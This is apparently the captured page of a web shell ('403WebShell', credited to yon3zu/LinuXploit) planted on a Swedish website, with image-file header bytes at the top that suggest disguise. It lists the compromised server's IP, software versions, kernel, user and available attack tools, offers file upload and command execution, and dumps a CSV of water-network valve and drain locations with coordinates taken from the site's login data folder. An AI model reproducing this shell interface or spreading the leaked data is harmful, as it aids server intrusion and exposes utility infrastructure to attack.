????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.217.114
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/www.supervision-online.se/login/data/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www.supervision-online.se/login/data/112a228e84e0bed62982bdc97596e0bf.csv
ObjektId	Rubrik/Namn	Lat	Long	Beskrivning
15450147	554:13-4	6475529,047	185999,9492	Luftning_pa_ledning fk
26987575	553:12-5	6475555,215	182596,1992	Luftning_pa_ledning fk
59010709	553:22-3	6475336,07	182596,1016	Luftning_pa_ledning fk
61565968	553:32-5	6475103,586	182564,9219	Luftning_pa_ledning fk
37444421	Luftning_ingen_littera	6475454,922	183893,8438	Luftning_pa_ledning fk
11624725	553:16-4	6475653,313	183642,1836	Luftning_pa_ledning fk
20718660	553:16-6	6475449,574	183772,9805	Luftning_pa_ledning fk
20718661	553:26-4	6475347,242	183649,4063	Luftning_pa_ledning fk
41766687	Luftning_ingen_littera	6475128,836	183800,9492	Luftning_pa_ledning fk
40614700	553:26-5	6475298,09	183807,7422	Luftning_pa_ledning fk
40614701	553:16-9	6475449,359	183945,6523	Luftning_pa_ledning fk
26987573	553:13-6	6475505,906	182680,2148	Luftning_pa_ledning fk
11622526	553:22-2	6475374,465	182640,5273	Luftning_pa_ledning fk
40270064	Luftning_ingen_littera	6475218,754	182817,8555	Luftning_pa_ledning fk
40263730	Luftning_ingen_littera	6475453,555	183208,8945	Luftning_pa_ledning fk
40263731	Luftning_ingen_littera	6475452,953	183209,5508	Luftning_pa_ledning fk
40263739	Luftning_ingen_littera	6475451,117	183211,5664	Luftning_pa_ledning fk
40263740	Luftning_ingen_littera	6475450,543	183212,2109	Luftning_pa_ledning fk
40263741	Luftning_ingen_littera	6475448,375	183207,2773	Luftning_pa_ledning fk
40263742	Luftning_ingen_littera	6475447,719	183206,7031	Luftning_pa_ledning fk
11624235	553:15-1	6475576,238	183379,0664	Luftning_pa_ledning fk
11624396	553:14-3	6475514,008	183116,2891	Luftning_pa_ledning fk
11624399	553:14-2	6475514,922	183116,6211	Luftning_pa_ledning fk
20718662	553:25-1	6475198,152	183489,9844	Luftning_pa_ledning fk
11622436	553:03-1	6475649,492	182896,8555	Luftning_pa_ledning fk
11622527	553:13-2	6475447,539	182726,1172	Luftning_pa_ledning fk
11622661	553:22-4	6475240,25	182661,0625	Luftning_pa_ledning fk
26987574	553:12-6	6475515,668	182626,0391	Luftning_pa_ledning fk
45340663	Luftning_ingen_littera	6475313,344	183125,8047	Luftning_pa_ledning fk
40317711	Luftning_ingen_littera	6475218,727	182818,7578	Luftning_pa_ledning fk
40317712	553:33-1	6475155,617	182978,5938	Luftning_pa_ledning fk
40726663	545:83-1	6476296,449	189315,6055	Luftning_pa_ledning fk
60575597	545:82-3	6476425,484	188969,8242	Luftning_pa_ledning fk
13991876	544:84-3	6476401,949	186489,0117	Luftning_pa_ledning fk
14886114	544:75-5	6476640,289	186513,4102	Luftning_pa_ledning fk
14799907	544:65-6	6476816,949	186564,9727	Luftning_pa_ledning fk
11610789	544:55-11	6477022,293	186677,9375	Luftning_pa_ledning fk
11610708	544:45-17	6477164,281	186776,3008	Luftning_pa_ledning fk
11624572	 544:45-18	6477162,996	186778,4141	Avtappning_pa_ledning fk
26889017	Luftning_ingen_littera	6477090,195	186425,4727	Luftning_pa_ledning fk
26889018	Luftning_ingen_littera	6477090,555	186426,8633	Luftning_pa_ledning fk
45151252	544:45-29	6477153,141	186599,2852	Luftning_pa_ledning fk
13991874	544:65-5	6476829,73	186586,6758	Luftning_pa_ledning fk
42995991	544:54-16	6477121,113	186423,6172	Luftning_pa_ledning fk
42995993	544:54-17	6476978,703	186442,8281	Luftning_pa_ledning fk
47773277	544:54-18	6477074,105	186350,5039	Luftning_pa_ledning fk
11611115	544:34-10	6477537,406	186356,9258	Luftning_pa_ledning fk
40386617	544:44-14	6477248,156	186401,8164	Luftning_pa_ledning fk
17976548	544:24-7	6477609,34	186343,1563	Luftning_pa_ledning fk
17976549	544:24-11	6477656,559	186334,6641	Luftning_pa_ledning fk
17976551	544:24-3	6477824,957	186390,8203	Luftning_pa_ledning fk
17976553	544:24-4	6477798,836	186321,8164	Luftning_pa_ledning fk
57712054	544:34-12	6477462,84	186363,8789	Luftning_pa_ledning fk
11624566	544:35-16	6477492,926	186584,7148	Avtappning_pa_ledning fk
11610510	 544:35-13	6477485,234	186485,5859	Luftning_pa_ledning fk
11610709	544:45-15	6477215,578	186765,6445	Luftning_pa_ledning fk
11610610	544:35-17	6477383,504	186721,582	Avtappning_pa_ledning fk
11610606	544:45-13	6477334,781	186625,7578	Luftning_pa_ledning fk
11610605	544:45-14	6477335,309	186631,7031	Luftning_pa_ledning fk
11610516	544:35-12	6477464,668	186597,2578	Luftning_pa_ledning fk
19342130	544:34-15	6477485,324	186444,9688	Luftning_pa_ledning fk
11610509	544:35-10	6477492,207	186590,8008	Luftning_pa_ledning fk
11610508	544:35-9	6477495,094	186586,2344	Luftning_pa_ledning fk
11624569	544:35-14	6477382,215	186723,7578	Luftning_pa_ledning fk
68910294	544:54-16	6477088,961	186166,668	Luftning_pa_ledning fk
26553554	544:33-8	6477424,34	186006,5039	Luftning_pa_ledning fk
60463913	534:60-3	6479107,387	185098,4609	Luftning_pa_ledning fk
60463914	534:60-2	6479247,277	184894,8555	Luftning_pa_ledning fk
17976520	544:15-4	6478074,047	186577,9023	Luftning_pa_ledning fk
17976550	544:14-8	6478037,074	186443,7148	Luftning_pa_ledning fk
41712967	544:03-2	6478179,664	186135,8789	Luftning_pa_ledning fk
40553259	534:40-2	6479746,621	185059,4727	Luftning_pa_ledning fk
15450145	554:13-3 F	6475529,008	185998,8555	Ventil fram fk
47841160	554:13-6 F	6475644,188	185962,5781	Ventil fram fk
61150158	533:02-1 F	6475672,93	182505,6914	Ventil fram fk
17796098	553:16-3 F	6475653,305	183642,7813	Ventil fram fk
20718688	553:16-5 F	6475450,957	183772,9805	Ventil fram fk
41766720	553:36-3 F	6475129,223	183800,9063	Ventil fram fk
40614694	553:35-2 F	6475058,137	183580,457	Ventil fram fk
40614688	553:35-3 F	6475064,406	183582,8438	Ventil fram fk
57261763	553:16-8 F	6475452,621	183903,4961	Ventil fram fk
59062060	553:26-6 F	6475294,621	183923,6992	Ventil fram fk
17796154	553:14-1 F	6475514,465	183116,4492	Ventil fram fk
40317709	553:23-6 F	6475218,711	182818,2891	Ventil fram fk
40263736	553:14-4 F	6475448,055	183206,9883	Ventil fram fk
40263735	553:14-5 F	6475450,809	183211,8945	Ventil fram fk
17797707	553:03-2 F	6475650,461	182942,4844	Ventil fram fk
41969978	553:13-3 F	6475515,52	182690,582	Ventil fram fk
41969977	553:13-5 F	6475513,453	182687,9219	Ventil fram fk
41969973	553:13-4 F	6475518,875	182685,8164	Ventil fram fk
17795375	553:23-4 F	6475229,902	182774,3906	Ventil fram fk
47326100	553:24-5 F	6475313,344	183125,8047	Ventil fram fk
40263728	553:14-6 F	6475453,254	183209,2227	Ventil fram fk
43722621	553:23-5 F	6475243,605	182671,4648	Ventil fram fk
61565984	553:23-7 F	6475243,895	182669,9727	Ventil fram fk
61832266	553:24-8 F	6475188,383	183035,6523	Ventil fram fk
64694564	535:62-2 F	6479158,121	188914,0859	Ventil fram fk
67568537	545:84-1 F	6476228,055	189614,4023	Ventil fram fk
67568529	545:94-4 F	6476162,18	189526,7031	Ventil fram fk
45157908	544:45-8 F	6477140,023	186659,3828	Ventil fram fk
19233182	544:55-14 F	6476970,551	186689,7266	Ventil fram fk
19233183	544:55-15 F	6476969,418	186689,9961	Ventil fram fk
19233184	544:55-16 F	6476969,797	186688,9766	Ventil fram fk
47926166	544:65-7 F	6476817,617	186563,1992	Ventil fram fk
47926171	544:65-8 F	6476802,785	186484,5078	Ventil fram fk
47926176	544:65-9 F	6476799,715	186485,1016	Ventil fram fk
11610712	544:45-16 F	6477166	186775,9375	Ventil fram fk
18576209	544:55-10 F	6477024,695	186679,7656	Ventil fram fk
26675924	544:54-1 F	6477090,383	186426,1953	Ventil fram fk
18150930	544:55-9 F	6477127,516	186660,4531	Ventil fram fk
55827726	544:54-15 R	6477069,77	186363,8711	Ventil fram fk
48448638	544:54-9 F	6477083,465	186429,6289	Ventil fram fk
60998600	544:24-13 F	6477790,586	186284,6953	Ventil fram fk
47846317	544:34-9 F	6477466,625	186366,8125	Ventil fram fk
17119452	544:44-12 F	6477294,262	186394,6406	Ventil fram fk
18145434	544:34-13 F	6477452,813	186362,2656	Ventil fram fk
18145462	544:34-11 F	6477465,781	186371,5898	Ventil fram fk
64148527	544:35-16 F	6477477,164	186502,6172	Ventil fram fk
64148525	544:35-8  F	6477494,91	186585,543	Ventil fram fk
25026456	544:35-15 F	6477384,313	186721,3555	Ventil fram fk
18145962	544:35-11 F	6477490,402	186591,2383	Ventil fram fk
18149133	544:46-5 F	6477275,391	186873,4453	Ventil fram fk
68635600	544:71-7	6476412,73	185319,457	Ventil fram fk
68635572	544:71-5	6476490,566	185263,9453	Ventil fram fk
48063552	544:14-12 F	6478010,645	186191,2305	Ventil fram fk
48063556	544:14-13 F	6478006,41	186180,3672	Ventil fram fk
58181369	544:52-5 F	6477044,617	185608,3125	Ventil fram fk
58120883	544:33-7 F	6477431,523	185947,6211	Ventil fram fk
63708207	534:50-12 F	6479284,727	184818,2148	Ventil fram fk
62782340	534:81-7     F	6478710,094	185440,1055	Ventil fram fk
62782504	544:04-10    F	6478221,57	186395,3359	Ventil fram fk
62078980	544:14-15 F	6478043,723	186443,9297	Ventil fram fk
66562329	534:81-9 F	6478718,113	185430,5469	Ventil fram fk
66562297	534:71-5 F	6478948,605	185418,3672	Ventil fram fk
63708134	534:81-8 F	6478752,727	185349,8359	Ventil fram fk
18956150	544:15-8 F	6478064,883	186530,5313	Ventil fram fk
67786315	533:39-3 F	6479837,711	184633,7148	Ventil fram fk
67786307	533:39-2 F	6479836,504	184639,3867	Ventil fram fk
40670991	534:51-6 F	6479421,184	185367,1523	Ventil fram fk
40552968	534:30-5 F	6479755,102	185023,9414	Ventil fram fk
59134307	Ventil_ingen_littera	6479616,395	185358,7422	Ventil fram fk
66434733	535:52-2 F	6479440,48	188837,582	Ventil fram fk

Youez - 2016 - github.com/yon3zu
LinuXploit